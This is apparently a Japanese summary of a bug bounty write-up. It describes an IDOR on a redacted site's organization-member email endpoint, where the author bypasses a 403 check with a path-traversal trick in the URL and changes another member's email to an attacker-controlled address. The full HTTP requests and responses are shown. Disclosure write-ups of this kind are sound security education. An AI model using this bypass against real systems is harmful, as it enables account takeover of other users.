Hello there, ('ω')ノ
2500ドル相当のアカウント乗っ取りを。
脆弱性:
アカウントの乗っ取り
IDOR
記事:
https://gonzxph.medium.com/account-takeover-worth-of-2500-e643661f94e9
今回は、簡単な IDOR バイパスでアカウントの乗っ取りにつながることで。
2,500 ドルを稼いだ方法を紹介することに。
高校を卒業した後、1 か月の休暇を取り、その空き時間を使って。
1 つのプログラムに集中してハンティングすることに。
プログラムの名前を開示することはできないため。
開示ポリシーに従って redacted.com と呼ぶことに。
redacted.com では、組織を作成し、その組織のメンバーを追加でき。
組織にメンバーを追加するには 2 つのオプションがあり。
まず、メールアドレスを使用して招待することで、メンバーを追加でき。
2 つ目は、メンバーの名前だけを電子メールなしで追加することで。
これはデモ ユーザと呼ばれ。
デモ ユーザを追加した後、それを編集し。
電子メール アドレスを追加して実際のユーザにすることができて。
下記で、メールアドレスを使用してメンバーを追加して。
下記で、名前を指定してメンバーを追加して。(デモ ユーザ)
デモユーザを作成した後、メールアドレスを追加して。
組織内の実際のユーザにしましたが、Burp Suite リクエスト履歴に移動すると。
このリクエストに気づき。
POST /<organizationID>/addEmail/<DemoUserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/
{
"email":"attacker@email.com"
}
<DemoUserID> を組織内の任意のメンバーの UserID に変更するとどうなるか。
HTTP/2 403 Forbidden
Date: Tue, 15 Nov 2022 14:44:25 GMT
Content-Type: application/json
Content-Length: 76
Pragma: no-cache
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
{
"message":"You don't have access to this.",
}
バイパスを何時間も探した後、機能するものを見つけ。
最終的にバイパスされたのはこのようなもので。
POST /<organizationID>/addEmail/<DemoUserID>/../<UserID>/ HTTP/2
Host: redacted.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: application/json
Accept-Language: en
Accept-Encoding: gzip, deflate
Content-Type: application/json
Token: 123abc
Content-Length: 40
Origin: https://redacted.com
Referer: https://redacted.com/
{
"email":"attacker@email.com"
}
リクエストの応答:
HTTP/2 200 OK
Date: Tue, 15 Nov 2022 14:43:32 GMT
Content-Type: application/json
Content-Length: 2
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
X-Content-Type-Options: nosniff
{
}
関連付けられた <UserID> の電子メール アドレスは。
攻撃者が制御する電子メールに変更されて。
Best regards, (^^ゞ